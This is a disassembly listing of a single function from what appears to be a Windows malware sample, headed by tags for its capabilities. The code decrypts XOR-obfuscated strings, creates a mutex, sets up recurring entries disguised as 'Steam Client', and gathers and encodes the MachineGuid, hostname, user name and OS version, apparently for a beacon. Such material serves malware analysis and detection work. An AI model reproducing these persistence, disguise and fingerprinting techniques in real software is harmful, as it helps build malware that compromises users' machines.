Function at 0x403dc0
Capabilities:
Check mutex on windows
Get common file path
Get hostname
Get session user name

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x418
mov dword [ebp - 0x1c], esp
mov dword [ebp - 0x10], 0xffffffff
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14], 0x4058a0
mov ecx, dword fs:[0]
mov dword [ebp - 0x18], ecx
mov dword fs:[0], eax
movups xmm0, xmmword [0x44507a]
movups xmmword [ebp - 0x424], xmm0
mov dword [ebp - 0x415], 0xb1231e72
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
cmp byte [eax + 0x124], 0
je 0x4040db
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
lea esi, [eax + 0x10d]
cmp byte [eax + 0x120], 0
je 0x403e5d
movups xmm0, xmmword [esi]
xorps xmm0, xmmword [0x445120]
movups xmmword [esi], xmm0
xor word [esi + 0x10], 0x746a
xor byte [esi + 0x12], 0xb1
mov byte [esi + 0x13], 0
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4575ac], eax
push 0x1000
push 0
push 0x454d94
call fcn.0042a390
add esp, 0xc
push 0x1000
push 0x454d94
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
cmp byte [eax + 0x134], 0
je 0x40411c
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov ecx, dword [ecx + eax*4]
lea eax, [ecx + 0x128]
cmp byte [ecx + 0x132], 0
je 0x403eef
movsd xmm0, qword [eax]
xorps xmm0, xmmword [0x445180]
movlps qword [eax], xmm0
xor byte [eax + 8], 0x6a
xor byte [eax + 9], 0x74
mov byte [eax + 0xa], 0
push eax
call fcn.004032e0
add esp, 4
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
cmp byte [eax + 0x148], 0
je 0x404164
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov ecx, dword [ecx + eax*4]
lea eax, [ecx + 0x138]
cmp byte [ecx + 0x145], 0
je 0x403f4f
movsd xmm0, qword [eax]
xorps xmm0, xmmword [0x445180]
movlps qword [eax], xmm0
xor dword [eax + 8], 0x73b1746a
xor byte [eax + 0xc], 0x33
mov byte [eax + 0xd], 0
push eax
call fcn.004032e0
add esp, 4
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
cmp byte [eax + 0x160], 0
je 0x4041af
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov ecx, dword [ecx + eax*4]
lea eax, [ecx + 0x150]
cmp byte [ecx + 0x15d], 0
je 0x403faf
movsd xmm0, qword [eax]
xorps xmm0, xmmword [0x445180]
movlps qword [eax], xmm0
xor dword [eax + 8], 0x73b1746a
xor byte [eax + 0xc], 0x33
mov byte [eax + 0xd], 0
push eax
call fcn.004032e0
add esp, 4
jmp 0x403fca
push 0x800
push 0
push 0x4565ac
call fcn.0042a390
add esp, 0xc
mov esi, dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push 0
push 0x1c
push 0x4565ac
push 0
call esi
jmp 0x404003
jmp 0x404015
push 0x800
push 0
push 0x456dac
call fcn.0042a390
add esp, 0xc
push 0
push 0x20
push 0x456dac
push 0
call esi
jmp 0x404048
call fcn.00402780
test eax, eax
je 0x4040c0
jmp 0x404063
sub esp, 0x18
movaps xmm0, xmmword [0x445280]
movups xmmword [esp + 8], xmm0
mov dword [esp + 4], 0x44d81a
mov dword [esp], 0
call dword [0x4575ac]
jmp 0x404099
mov eax, 0x61c
add eax, dword [0x454984]
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4041fa
mov eax, dword [ebp - 0x18]
mov dword fs:[0], eax
mov eax, 0xffffffff
add esp, 0x418
pop esi
pop edi
pop ebx
pop ebp
ret 0x10
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov byte [eax + 0x124], 1
mov dword [ebp - 0x10], 0
lea edx, [ebp - 0x424]
lea ecx, [eax + 0x10d]
push edx
call fcn.00405450
push 0x4054e0
call fcn.00405999
add esp, 4
jmp 0x403e24
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov byte [eax + 0x134], 1
mov byte [eax + 0x132], 1
movsd xmm0, qword [0x445250]
movsd qword [eax + 0x128], xmm0
mov word [eax + 0x130], 0x7406
push 0x405510
call fcn.00405999
add esp, 4
jmp 0x403eb7
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov byte [eax + 0x148], 1
movsd xmm0, qword [0x445260]
movsd qword [eax + 0x138], xmm0
mov dword [eax + 0x140], 0x1fdd1044
mov word [eax + 0x144], 0x133
push 0x405540
call fcn.00405999
add esp, 4
jmp 0x403f14
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov byte [eax + 0x160], 1
movsd xmm0, qword [0x445270]
movsd qword [eax + 0x150], xmm0
mov dword [eax + 0x158], 0x1fdd1044
mov word [eax + 0x15c], 0x133
push 0x405580
call fcn.00405999
add esp, 4
jmp 0x403f74
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
cmp byte [eax + 0x178], 0
je 0x404e0c
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov ecx, dword [ecx + eax*4]
lea eax, [ecx + 0x168]
cmp byte [ecx + 0x174], 0
je 0x40424d
movsd xmm0, qword [eax]
xorps xmm0, xmmword [0x445180]
movlps qword [eax], xmm0
xor dword [eax + 8], 0x73b1746a
mov byte [eax + 0xc], 0
push eax
call fcn.004032e0
add esp, 4
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
cmp byte [eax + 0x18c], 0
je 0x404e55
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov ecx, dword [ecx + eax*4]
lea eax, [ecx + 0x180]
cmp byte [ecx + 0x18a], 0
je 0x4042aa
movsd xmm0, qword [eax]
xorps xmm0, xmmword [0x445180]
movlps qword [eax], xmm0
xor byte [eax + 8], 0x6a
xor byte [eax + 9], 0x74
mov byte [eax + 0xa], 0
push eax
call fcn.004032e0
add esp, 4
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
cmp byte [eax + 0x1a0], 0
je 0x404e9d
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov ecx, dword [ecx + eax*4]
lea eax, [ecx + 0x190]
cmp byte [ecx + 0x19d], 0
je 0x40430a
movsd xmm0, qword [eax]
xorps xmm0, xmmword [0x445180]
movlps qword [eax], xmm0
xor dword [eax + 8], 0x73b1746a
xor byte [eax + 0xc], 0x33
mov byte [eax + 0xd], 0
push eax
call fcn.004032e0
add esp, 4
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
cmp byte [eax + 0x1b4], 0
je 0x404ee8
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov ecx, dword [ecx + eax*4]
lea eax, [ecx + 0x1a8]
cmp byte [ecx + 0x1b3], 0
je 0x40436b
movsd xmm0, qword [eax]
xorps xmm0, xmmword [0x445180]
movlps qword [eax], xmm0
xor byte [eax + 8], 0x6a
xor byte [eax + 9], 0x74
xor byte [eax + 0xa], 0xb1
mov byte [eax + 0xb], 0
push eax
call fcn.004032e0
add esp, 4
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
cmp byte [eax + 0x1c8], 0
je 0x404f2a
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov ecx, dword [ecx + eax*4]
lea eax, [ecx + 0x1b8]
cmp byte [ecx + 0x1c4], 0
je 0x4043c7
movsd xmm0, qword [eax]
xorps xmm0, xmmword [0x445180]
movlps qword [eax], xmm0
xor dword [eax + 8], 0x73b1746a
mov byte [eax + 0xc], 0
push eax
call fcn.004032e0
add esp, 4
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
cmp byte [eax + 0x1dc], 0
je 0x404f73
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov ecx, dword [ecx + eax*4]
lea eax, [ecx + 0x1d0]
cmp byte [ecx + 0x1db], 0
je 0x404428
movsd xmm0, qword [eax]
xorps xmm0, xmmword [0x445180]
movlps qword [eax], xmm0
xor byte [eax + 8], 0x6a
xor byte [eax + 9], 0x74
xor byte [eax + 0xa], 0xb1
mov byte [eax + 0xb], 0
push eax
call fcn.004032e0
add esp, 4
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
cmp byte [eax + 0x1ec], 0
je 0x404fb5
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov ecx, dword [ecx + eax*4]
lea eax, [ecx + 0x1e0]
cmp byte [ecx + 0x1eb], 0
je 0x404489
movsd xmm0, qword [eax]
xorps xmm0, xmmword [0x445180]
movlps qword [eax], xmm0
xor byte [eax + 8], 0x6a
xor byte [eax + 9], 0x74
xor byte [eax + 0xa], 0xb1
mov byte [eax + 0xb], 0
push eax
call fcn.004032e0
add esp, 4
push 0x454d94
push str.Steam_Client
push str.14:00:00
push str.Steam_Client_API__buildbot_steam_relclient_win32_builder_steam_rel_client_win32_steam_relclient_win32_builder__a
call fcn.00401b60
add esp, 0x10
push 0x454d94
push str.Steam_Client
push str.15:00:00
push str.Steam_Client_API__buildbot_steam_relclient_win32_builder_steam_rel_client_win32_steam_relclient_win32_builder__b
call fcn.00401b60
add esp, 0x10
push 0x454d94
push str.Steam_Client
push str.16:00:00
push str.Steam_Client_API__buildbot_steam_relclient_win32_builder_steam_rel_client_win32_steam_relclient_win32_builder__c
call fcn.00401b60
add esp, 0x10
push 0x454d94
push str.Steam_Clientn
push str.17:00:00
push str.Steam_Client_API__buildbot_steam_relclient_win32_builder_steam_rel_client_win32_steam_relclient_win32_builder__d
call fcn.00401b60
add esp, 0x10
push 0x454d94
push str.Steam_Client
push str.18:00:00
push str.Steam_Client_API__buildbot_steam_relclient_win32_builder_steam_rel_client_win32_steam_relclient_win32_builder__e
call fcn.00401b60
add esp, 0x10
push 1
push str.MachineGuid
push str.SOFTWAREMicrosoftCryptography
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00401ac0
add esp, 0x10
mov dword [0x454d8c], eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
mov dword [ebp - 0x20], eax
lea ecx, [ebp - 0x20]
push dword [0x454d8c]
push eax
push ecx
call fcn.00401000
add esp, 0xc
mov dword [0x456594], eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x4045f6
mov edi, eax
mov ecx, dword [0x456594]
xor edx, edx
cmp edi, 1
jne 0x40459b
mov eax, edi
test al, 1
je 0x4045f6
movzx eax, byte [ecx + edx]
cmp eax, 0x2b
je 0x4045f1
cmp eax, 0x2f
je 0x4045ed
cmp eax, 0x3d
jne 0x4045f6
mov al, 0x2d
jmp 0x4045f3
mov eax, edi
and eax, 0xfffffffe
xor edx, edx
jmp 0x4045b1
mov bl, 0x5f
mov byte [ecx + edx + 1], bl
add edx, 2
cmp eax, edx
je 0x40457e
movzx esi, byte [ecx + edx]
cmp esi, 0x2b
je 0x4045cc
cmp esi, 0x3d
je 0x4045c8
cmp esi, 0x2f
jne 0x4045d1
mov bl, 0x5f
jmp 0x4045ce
mov bl, 0x2d
jmp 0x4045ce
mov bl, 0x2e
mov byte [ecx + edx], bl
movzx esi, byte [ecx + edx + 1]
cmp esi, 0x2b
je 0x4045e9
cmp esi, 0x2f
je 0x4045a4
cmp esi, 0x3d
jne 0x4045aa
mov bl, 0x2d
jmp 0x4045a6
mov bl, 0x2e
jmp 0x4045a6
mov al, 0x5f
jmp 0x4045f3
mov al, 0x2e
mov byte [ecx + edx], al
call fcn.00405f10
mov dword [0x454d88], eax
mov esi, dword [0x456594]
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
cmp byte [eax + 0x1f8], 0
je 0x404ff7
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov ecx, dword [ecx + eax*4]
lea eax, [ecx + 0x1f0]
cmp byte [ecx + 0x1f5], 0
je 0x40464e
xor dword [eax], 0x73b1746a
xor byte [eax + 4], 0x33
mov byte [eax + 5], 0
push esi
push eax
push dword [0x454d88]
call fcn.00406060
mov esi, dword [0x456598]
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
cmp byte [eax + 0x204], 0
je 0x405032
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov ecx, dword [ecx + eax*4]
lea eax, [ecx + 0x1fc]
cmp byte [ecx + 0x202], 0
je 0x4046ad
xor dword [eax], 0x73b1746a
xor byte [eax + 4], 0x33
xor byte [eax + 5], 0xe6
mov byte [eax + 6], 0
push esi
push eax
push dword [0x454d88]
call fcn.00406060
push dword [0x454d88]
call fcn.00405e20
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
call edi
mov dword [ebp - 0x20], eax
push dword [0x454d88]
call fcn.00405e20
push eax
push dword [ebp - 0x20]
lea eax, [ebp - 0x20]
push eax
call fcn.00401000
add esp, 0xc
mov esi, eax
push eax
call edi
test eax, eax
je 0x404772
xor ecx, ecx
cmp eax, 1
jne 0x404717
test al, 1
je 0x404772
movzx eax, byte [esi + ecx]
cmp eax, 0x2b
je 0x40476d
cmp eax, 0x2f
je 0x404769
cmp eax, 0x3d
jne 0x404772
mov al, 0x2d
jmp 0x40476f
mov edx, eax
and edx, 0xfffffffe
xor ecx, ecx
jmp 0x40472d
mov bl, 0x5f
mov byte [esi + ecx + 1], bl
add ecx, 2
cmp edx, ecx
je 0x4046fc
movzx edi, byte [esi + ecx]
cmp edi, 0x2b
je 0x404748
cmp edi, 0x3d
je 0x404744
cmp edi, 0x2f
jne 0x40474d
mov bl, 0x5f
jmp 0x40474a
mov bl, 0x2d
jmp 0x40474a
mov bl, 0x2e
mov byte [esi + ecx], bl
movzx edi, byte [esi + ecx + 1]
cmp edi, 0x2b
je 0x404765
cmp edi, 0x2f
je 0x404720
cmp edi, 0x3d
jne 0x404726
mov bl, 0x2d
jmp 0x404722
mov bl, 0x2e
jmp 0x404722
mov al, 0x5f
jmp 0x40476f
mov al, 0x2e
mov byte [esi + ecx], al
lea edi, [ebp - 0x424]
push 0x400
push 0
push edi
call fcn.0042a390
add esp, 0xc
push esi
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
call ebx
push 0x400
push edi
push eax
push esi
call fcn.004015b0
add esp, 0x10
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push edi
call ebx
cmp eax, 2
jl 0x40481e
lea esi, [ebp - 0x425]
nop word cs:[eax + eax]
movzx ebx, byte [esi + 1]
inc esi
push ebx
call fcn.00436620
add esp, 4
test eax, eax
jne 0x4047c0
test bl, bl
je 0x4047fe
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [esi + eax]
dec ecx
mov ebx, ecx
cmp ecx, esi
jbe 0x4047fa
movzx eax, byte [ebx]
push eax
call fcn.00436620
add esp, 4
lea ecx, [ebx - 1]
test eax, eax
jne 0x4047e1
mov byte [ebx + 1], 0
lea esi, [ebp - 0x424]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [eax + esi - 1], 0x30
jne 0x40481e
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov byte [eax + esi - 1], 0
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
cmp byte [eax + 0x20c], 0
je 0x405074
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov ecx, dword [ecx + eax*4]
lea eax, [ecx + 0x206]
cmp byte [ecx + 0x208], 0
je 0x404863
xor byte [eax], 0x6a
xor byte [eax + 1], 0x74
mov byte [eax + 2], 0
push eax
lea eax, [ebp - 0x424]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x404e07
mov dword [ebp - 0x20], 0x400
push 0x400
push 0
push 0x455d94
call fcn.0042a390
add esp, 0xc
lea esi, [ebp - 0x20]
push esi
push 0x455d94
push 5
call dword [sym.imp.KERNEL32.dll_GetComputerNameExW]
mov dword [ebp - 0x20], 0x400
push 0x400
push 0
push 0x456194
call fcn.0042a390
add esp, 0xc
push esi
push 0x456194
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
push 1
push 0x44d364
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00401ac0
add esp, 0x10
mov dword [0x454d90], eax
push 0x455d94
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
mov dword [ebp - 0x20], eax
push 0x455d94
push eax
push esi
call fcn.00401000
add esp, 0xc
mov dword [0x4565a0], eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x4049a4
mov edi, eax
mov ecx, dword [0x4565a0]
xor edx, edx
cmp edi, 1
jne 0x404949
mov eax, edi
test al, 1
je 0x4049a4
movzx eax, byte [ecx + edx]
cmp eax, 0x2b
je 0x40499f
cmp eax, 0x2f
je 0x40499b
cmp eax, 0x3d
jne 0x4049a4
mov al, 0x2d
jmp 0x4049a1
mov eax, edi
and eax, 0xfffffffe
xor edx, edx
jmp 0x40495f
mov bl, 0x5f
mov byte [ecx + edx + 1], bl
add edx, 2
cmp eax, edx
je 0x40492c
movzx esi, byte [ecx + edx]
cmp esi, 0x2b
je 0x40497a
cmp esi, 0x3d
je 0x404976
cmp esi, 0x2f
jne 0x40497f
mov bl, 0x5f
jmp 0x40497c
mov bl, 0x2d
jmp 0x40497c
mov bl, 0x2e
mov byte [ecx + edx], bl
movzx esi, byte [ecx + edx + 1]
cmp esi, 0x2b
je 0x404997
cmp esi, 0x2f
je 0x404952
cmp esi, 0x3d
jne 0x404958
mov bl, 0x2d
jmp 0x404954
mov bl, 0x2e
jmp 0x404954
mov al, 0x5f
jmp 0x4049a1
mov al, 0x2e
mov byte [ecx + edx], al
push 0x456194
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
mov dword [ebp - 0x20], eax
push 0x456194
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.00401000
add esp, 0xc
mov dword [0x4565a4], eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x404a61
mov edi, eax
mov ecx, dword [0x4565a4]
xor edx, edx
cmp edi, 1
jne 0x404a06
mov eax, edi
test al, 1
je 0x404a61
movzx eax, byte [ecx + edx]
cmp eax, 0x2b
je 0x404a5c
cmp eax, 0x2f
je 0x404a58
cmp eax, 0x3d
jne 0x404a61
mov al, 0x2d
jmp 0x404a5e
mov eax, edi
and eax, 0xfffffffe
xor edx, edx
jmp 0x404a1c
mov bl, 0x5f
mov byte [ecx + edx + 1], bl
add edx, 2
cmp eax, edx
je 0x4049e9
movzx esi, byte [ecx + edx]
cmp esi, 0x2b
je 0x404a37
cmp esi, 0x3d
je 0x404a33
cmp esi, 0x2f
jne 0x404a3c
mov bl, 0x5f
jmp 0x404a39
mov bl, 0x2d
jmp 0x404a39
mov bl, 0x2e
mov byte [ecx + edx], bl
movzx esi, byte [ecx + edx + 1]
cmp esi, 0x2b
je 0x404a54
cmp esi, 0x2f
je 0x404a0f
cmp esi, 0x3d
jne 0x404a15
mov bl, 0x2d
jmp 0x404a11
mov bl, 0x2e
jmp 0x404a11
mov al, 0x5f
jmp 0x404a5e
mov al, 0x2e
mov byte [ecx + edx], al
push dword [0x454d90]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
mov dword [ebp - 0x20], eax
push dword [0x454d90]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.00401000
add esp, 0xc
mov dword [0x4565a8], eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x404b20
mov edi, eax
mov ecx, dword [0x4565a8]
xor edx, edx
cmp edi, 1
jne 0x404ac5
mov eax, edi
test al, 1
je 0x404b20
movzx eax, byte [ecx + edx]
cmp eax, 0x2b
je 0x404b1b
cmp eax, 0x2f
je 0x404b17
cmp eax, 0x3d
jne 0x404b20
mov al, 0x2d
jmp 0x404b1d
mov eax, edi
and eax, 0xfffffffe
xor edx, edx
jmp 0x404adb
mov bl, 0x5f
mov byte [ecx + edx + 1], bl
add edx, 2
cmp eax, edx
je 0x404aa8
movzx esi, byte [ecx + edx]
cmp esi, 0x2b
je 0x404af6
cmp esi, 0x3d
je 0x404af2
cmp esi, 0x2f
jne 0x404afb
mov bl, 0x5f
jmp 0x404af8
mov bl, 0x2d
jmp 0x404af8
mov bl, 0x2e
mov byte [ecx + edx], bl
movzx esi, byte [ecx + edx + 1]
cmp esi, 0x2b
je 0x404b13
cmp esi, 0x2f
je 0x404ace
cmp esi, 0x3d
jne 0x404ad4
mov bl, 0x2d
jmp 0x404ad0
mov bl, 0x2e
jmp 0x404ad0
mov al, 0x5f
jmp 0x404b1d
mov al, 0x2e
mov byte [ecx + edx], al
call fcn.00405f10
mov esi, eax
mov dword [ebp - 0x24], eax
mov ebx, dword [0x4565a0]
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
cmp byte [eax + 0x21c], 0
je 0x4050ac
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov ecx, dword [ecx + eax*4]
lea eax, [ecx + 0x210]
cmp byte [ecx + 0x218], 0
je 0x404b7c
movsd xmm0, qword [eax]
xorps xmm0, xmmword [0x445180]
movlps qword [eax], xmm0
mov byte [eax + 8], 0
push ebx
push eax
push esi
call fcn.00406060
mov ebx, dword [0x4565a4]
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
cmp byte [eax + 0x22c], 0
je 0x4050eb
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov ecx, dword [ecx + eax*4]
lea eax, [ecx + 0x220]
cmp byte [ecx + 0x228], 0
je 0x404bd6
movsd xmm0, qword [eax]
xorps xmm0, xmmword [0x445180]
movlps qword [eax], xmm0
mov byte [eax + 8], 0
push ebx
push eax
push esi
call fcn.00406060
mov ebx, dword [0x4565a8]
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
cmp byte [eax + 0x23c], 0
je 0x40512a
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov ecx, dword [ecx + eax*4]
lea eax, [ecx + 0x230]
cmp byte [ecx + 0x238], 0
je 0x404c30
movsd xmm0, qword [eax]
xorps xmm0, xmmword [0x445180]
movlps qword [eax], xmm0
mov byte [eax + 8], 0
push ebx
push eax
push esi
call fcn.00406060
lea eax, [ebp - 0x24]
push eax
call fcn.00402b60
add esp, 4
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
cmp byte [eax + 0x24c], 0
je 0x405169
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov ecx, dword [ecx + eax*4]
lea eax, [ecx + 0x240]
cmp byte [ecx + 0x248], 0
je 0x404c90
movsd xmm0, qword [eax]
xorps xmm0, xmmword [0x445180]
movlps qword [eax], xmm0
mov byte [eax + 8], 0
push esi
push eax
push dword [0x454d88]
call fcn.00405f40
push dword [0x454d88]
call fcn.00405e20
push eax
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
call ebx
mov dword [ebp - 0x20], eax
push dword [0x454d88]
call fcn.00405e20
push eax
push dword [ebp - 0x20]
lea eax, [ebp - 0x20]
push eax
call fcn.00401000
add esp, 0xc
mov esi, eax
push eax
call ebx
test eax, eax
je 0x404d55
xor ecx, ecx
cmp eax, 1
jne 0x404cfa
test al, 1
je 0x404d55
movzx eax, byte [esi + ecx]
cmp eax, 0x2b
je 0x404d50
cmp eax, 0x2f
je 0x404d4c
cmp eax, 0x3d
jne 0x404d55
mov al, 0x2d
jmp 0x404d52
mov edx, eax
and edx, 0xfffffffe
xor ecx, ecx
jmp 0x404d10
mov bl, 0x5f
mov byte [esi + ecx + 1], bl
add ecx, 2
cmp edx, ecx
je 0x404cdf
movzx ebx, byte [esi + ecx]
cmp ebx, 0x2b
je 0x404d2b
cmp ebx, 0x3d
je 0x404d27
cmp ebx, 0x2f
jne 0x404d30
mov bl, 0x5f
jmp 0x404d2d
mov bl, 0x2d
jmp 0x404d2d
mov bl, 0x2e
mov byte [esi + ecx], bl
movzx ebx, byte [esi + ecx + 1]
cmp ebx, 0x2b
je 0x404d48
cmp ebx, 0x2f
je 0x404d03
cmp ebx, 0x3d
jne 0x404d09
mov bl, 0x2d
jmp 0x404d05
mov bl, 0x2e
jmp 0x404d05
mov al, 0x5f
jmp 0x404d52
mov al, 0x2e
mov byte [esi + ecx], al
push 0x400
push 0
lea edi, [ebp - 0x424]
push edi
call fcn.0042a390
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0x400
push edi
push eax
push esi
call fcn.004015b0
add esp, 0x10
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
cmp byte [eax + 0x25c], 0
je 0x4051a8
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov ecx, dword [ecx + eax*4]
lea eax, [ecx + 0x250]
cmp byte [ecx + 0x258], 0
je 0x404dd5
movsd xmm0, qword [eax]
xorps xmm0, xmmword [0x445180]
movlps qword [eax], xmm0
mov byte [eax + 8], 0
push eax
push dword [0x454d88]
call fcn.00405fd0
mov esi, dword [sym.imp.KERNEL32.dll_GlobalFree]
push dword [0x4565a8]
call esi
push dword [0x4565a4]
call esi
push dword [0x4565a0]
call esi
push dword [0x454d90]
call esi
call fcn.004035c0
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov byte [eax + 0x178], 1
mov byte [eax + 0x174], 1
movsd xmm0, qword [0x445290]
movsd qword [eax + 0x168], xmm0
mov dword [eax + 0x170], 0x73dd180e
push 0x4055c0
call fcn.00405999
add esp, 4
jmp 0x404216
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov byte [eax + 0x18c], 1
mov byte [eax + 0x18a], 1
movsd xmm0, qword [0x4452a0]
movsd qword [eax + 0x180], xmm0
mov word [eax + 0x188], 0x7406
push 0x4055f0
call fcn.00405999
add esp, 4
jmp 0x404272
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov byte [eax + 0x1a0], 1
movsd xmm0, qword [0x4452b0]
movsd qword [eax + 0x190], xmm0
mov dword [eax + 0x198], 0x1fdd1044
mov word [eax + 0x19c], 0x133
push 0x405620
call fcn.00405999
add esp, 4
jmp 0x4042cf
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov byte [eax + 0x1b4], 1
movsd xmm0, qword [0x4452c0]
movsd qword [eax + 0x1a8], xmm0
mov dword [eax + 0x1b0], 0x1b11806
push 0x405660
call fcn.00405999
add esp, 4
jmp 0x40432f
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov byte [eax + 0x1c8], 1
mov byte [eax + 0x1c4], 1
movsd xmm0, qword [0x4452d0]
movsd qword [eax + 0x1b8], xmm0
mov dword [eax + 0x1c0], 0x73dd180e
push 0x405690
call fcn.00405999
add esp, 4
jmp 0x404390
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov byte [eax + 0x1dc], 1
movsd xmm0, qword [0x4452e0]
movsd qword [eax + 0x1d0], xmm0
mov dword [eax + 0x1d8], 0x1b11806
push 0x4056c0
call fcn.00405999
add esp, 4
jmp 0x4043ec
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov byte [eax + 0x1ec], 1
movsd xmm0, qword [0x4452f0]
movsd qword [eax + 0x1e0], xmm0
mov dword [eax + 0x1e8], 0x1b11806
push 0x4056f0
call fcn.00405999
add esp, 4
jmp 0x40444d
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov byte [eax + 0x1f8], 1
mov dword [eax + 0x1f0], 0x17d81012
mov word [eax + 0x1f4], 0x133
push 0x405720
call fcn.00405999
add esp, 4
jmp 0x404622
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov byte [eax + 0x204], 1
mov byte [eax + 0x202], 1
mov dword [eax + 0x1fc], 0x6de160b
mov word [eax + 0x200], 0xe647
push 0x405750
call fcn.00405999
add esp, 4
jmp 0x40467d
